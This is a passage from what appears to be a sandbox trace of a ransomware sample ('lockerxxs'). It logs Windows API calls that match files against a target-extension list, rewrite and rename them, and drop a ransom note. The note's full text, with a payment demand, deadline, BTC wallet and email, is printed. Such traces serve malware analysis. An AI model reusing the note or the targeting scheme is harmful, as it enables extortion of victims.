(x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.ost") returned 0 [0070.282] lstrlenA (lpString="*.ost") returned 5 [0070.282] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.idx") returned 0 [0070.282] lstrlenA (lpString="*.idx") returned 5 [0070.282] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.dbx") returned 0 [0070.283] lstrlenA (lpString="*.dbx") returned 5 [0070.283] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.sql") returned 0 [0070.283] lstrlenA (lpString="*.sql") returned 5 [0070.283] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.mdb") returned 0 [0070.283] lstrlenA (lpString="*.mdb") returned 5 [0070.283] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.fdb") returned 0 [0070.283] lstrlenA (lpString="*.fdb") returned 5 [0070.283] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.wab") returned 0 [0070.283] lstrlenA (lpString="*.wab") returned 5 [0070.283] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.dat") returned 0 [0070.283] lstrlenA (lpString="*.dat") returned 5 [0070.283] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.txt") returned 0 [0070.283] lstrlenA (lpString="*.txt") returned 5 [0070.283] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.jpeg") returned 0 [0070.283] lstrlenA (lpString="*.jpeg") returned 6 [0070.283] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.jpg") returned 0 [0070.283] lstrlenA (lpString="*.jpg") returned 5 [0070.283] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.png") returned 0 [0070.283] lstrlenA (lpString="*.png") returned 5 [0070.283] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.php") returned 0 [0070.284] lstrlenA (lpString="*.php") returned 5 [0070.284] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.cs") returned 0 [0070.284] lstrlenA (lpString="*.cs") returned 4 [0070.284] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.cpp") returned 0 [0070.284] lstrlenA (lpString="*.cpp") returned 5 [0070.284] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.rar") returned 0 [0070.284] lstrlenA (lpString="*.rar") returned 5 [0070.284] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.zip") returned 0 [0070.284] lstrlenA (lpString="*.zip") returned 5 [0070.284] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", pszSpec="*.html") returned 1 [0070.284] lstrlenA (lpString="*.html") returned 6 [0070.284] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" [0070.284] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" [0070.284] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html." [0070.284] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html.lockerxxs" [0070.284] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.285] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd34f [0070.285] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81dce140, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0070.285] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.285] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xd329, lpOverlapped=0x0) returned 1 [0070.291] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html") returned="license.html" [0070.292] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.292] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xd329, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xd329, lpOverlapped=0x0) returned 1 [0070.292] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0070.292] CloseHandle (hObject=0x94) returned 1 [0070.296] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html.lockerxxs")) returned 1 [0070.297] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0070.297] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.297] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="SVE", cAlternateFileName="")) returned 1 [0070.297] lstrcmpA (lpString1=".", lpString2="SVE") returned -1 [0070.297] lstrcmpA (lpString1="..", lpString2="SVE") returned -1 [0070.297] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0070.297] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="SVE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE" [0070.297] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE") returned 57 [0070.297] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.298] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.298] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.298] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.298] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.298] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3f6, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0070.298] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.298] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0070.298] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0070.298] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0070.298] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*.*") returned="*.*" [0070.298] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\" [0070.298] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\") returned="" [0070.298] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\HOW TO DECRYPT FILES.txt" [0070.298] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\how to decrypt files.txt")) returned 0xffffffff [0070.298] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.299] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0070.299] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0070.300] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.300] CloseHandle (hObject=0x94) returned 1 [0070.300] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini" [0070.301] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.ems") returned 0 [0070.301] lstrlenA (lpString="*.ems") returned 5 [0070.301] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.db") returned 0 [0070.301] lstrlenA (lpString="*.db") returned 4 [0070.301] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.dbf") returned 0 [0070.301] lstrlenA (lpString="*.dbf") returned 5 [0070.301] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.myox") returned 0 [0070.301] lstrlenA (lpString="*.myox") returned 6 [0070.301] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.myo") returned 0 [0070.301] lstrlenA (lpString="*.myo") returned 5 [0070.301] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.qbw") returned 0 [0070.301] lstrlenA (lpString="*.qbw") returned 5 [0070.301] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.qbb") returned 0 [0070.301] lstrlenA (lpString="*.qbb") returned 5 [0070.301] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.qbm") returned 0 [0070.301] lstrlenA (lpString="*.qbm") returned 5 [0070.301] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.qbo") returned 0 [0070.301] lstrlenA (lpString="*.qbo") returned 5 [0070.301] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.qbx") returned 0 [0070.301] lstrlenA (lpString="*.qbx") returned 5 [0070.301] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.qba") returned 0 [0070.301] lstrlenA (lpString="*.qba") returned 5 [0070.302] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.qby") returned 0 [0070.302] lstrlenA (lpString="*.qby") returned 5 [0070.302] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.qbj") returned 0 [0070.302] lstrlenA (lpString="*.qbj") returned 5 [0070.302] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.ofx") returned 0 [0070.302] lstrlenA (lpString="*.ofx") returned 5 [0070.302] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.qif") returned 0 [0070.302] lstrlenA (lpString="*.qif") returned 5 [0070.302] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.mye") returned 0 [0070.302] lstrlenA (lpString="*.mye") returned 5 [0070.302] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.mbox") returned 0 [0070.302] lstrlenA (lpString="*.mbox") returned 6 [0070.302] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.eml") returned 0 [0070.302] lstrlenA (lpString="*.eml") returned 5 [0070.302] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.pst") returned 0 [0070.302] lstrlenA (lpString="*.pst") returned 5 [0070.302] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.ost") returned 0 [0070.302] lstrlenA (lpString="*.ost") returned 5 [0070.302] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.idx") returned 0 [0070.302] lstrlenA (lpString="*.idx") returned 5 [0070.303] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.dbx") returned 0 [0070.303] lstrlenA (lpString="*.dbx") returned 5 [0070.303] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.sql") returned 0 [0070.303] lstrlenA (lpString="*.sql") returned 5 [0070.303] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.mdb") returned 0 [0070.303] lstrlenA (lpString="*.mdb") returned 5 [0070.303] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.fdb") returned 0 [0070.303] lstrlenA (lpString="*.fdb") returned 5 [0070.303] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.wab") returned 0 [0070.303] lstrlenA (lpString="*.wab") returned 5 [0070.303] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.dat") returned 0 [0070.303] lstrlenA (lpString="*.dat") returned 5 [0070.303] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.txt") returned 0 [0070.303] lstrlenA (lpString="*.txt") returned 5 [0070.303] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.jpeg") returned 0 [0070.303] lstrlenA (lpString="*.jpeg") returned 6 [0070.303] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.jpg") returned 0 [0070.303] lstrlenA (lpString="*.jpg") returned 5 [0070.303] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.png") returned 0 [0070.303] lstrlenA (lpString="*.png") returned 5 [0070.303] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.php") returned 0 [0070.303] lstrlenA (lpString="*.php") returned 5 [0070.304] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.cs") returned 0 [0070.304] lstrlenA (lpString="*.cs") returned 4 [0070.304] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.cpp") returned 0 [0070.304] lstrlenA (lpString="*.cpp") returned 5 [0070.304] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.rar") returned 0 [0070.304] lstrlenA (lpString="*.rar") returned 5 [0070.304] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.zip") returned 0 [0070.304] lstrlenA (lpString="*.zip") returned 5 [0070.304] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.html") returned 0 [0070.304] lstrlenA (lpString="*.html") returned 6 [0070.304] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.htm") returned 0 [0070.304] lstrlenA (lpString="*.htm") returned 5 [0070.304] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.xlsx") returned 0 [0070.304] lstrlenA (lpString="*.xlsx") returned 6 [0070.304] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.xls") returned 0 [0070.304] lstrlenA (lpString="*.xls") returned 5 [0070.304] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.mp4") returned 0 [0070.304] lstrlenA (lpString="*.mp4") returned 5 [0070.304] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.ppt") returned 0 [0070.304] lstrlenA (lpString="*.ppt") returned 5 [0070.304] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.pptx") returned 0 [0070.304] lstrlenA (lpString="*.pptx") returned 6 [0070.304] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.doc") returned 0 [0070.305] lstrlenA (lpString="*.doc") returned 5 [0070.305] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.dot") returned 0 [0070.305] lstrlenA (lpString="*.dot") returned 5 [0070.305] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.docx") returned 0 [0070.305] lstrlenA (lpString="*.docx") returned 6 [0070.305] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.7z") returned 0 [0070.305] lstrlenA (lpString="*.7z") returned 4 [0070.305] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.tar") returned 0 [0070.305] lstrlenA (lpString="*.tar") returned 5 [0070.305] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.bz2") returned 0 [0070.305] lstrlenA (lpString="*.bz2") returned 5 [0070.305] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.gz") returned 0 [0070.305] lstrlenA (lpString="*.gz") returned 4 [0070.305] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.mkv") returned 0 [0070.305] lstrlenA (lpString="*.mkv") returned 5 [0070.305] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.eml") returned 0 [0070.305] lstrlenA (lpString="*.eml") returned 5 [0070.305] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.msg") returned 0 [0070.305] lstrlenA (lpString="*.msg") returned 5 [0070.305] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.edb") returned 0 [0070.305] lstrlenA (lpString="*.edb") returned 5 [0070.305] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.accdb") returned 0 [0070.305] lstrlenA (lpString="*.accdb") returned 7 [0070.305] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.odb") returned 0 [0070.305] lstrlenA (lpString="*.odb") returned 5 [0070.305] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.java") returned 0 [0070.305] lstrlenA (lpString="*.java") returned 6 [0070.306] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini", pszSpec="*.asm") returned 0 [0070.306] lstrlenA (lpString="*.asm") returned 5 [0070.306] PathMatchSpecA 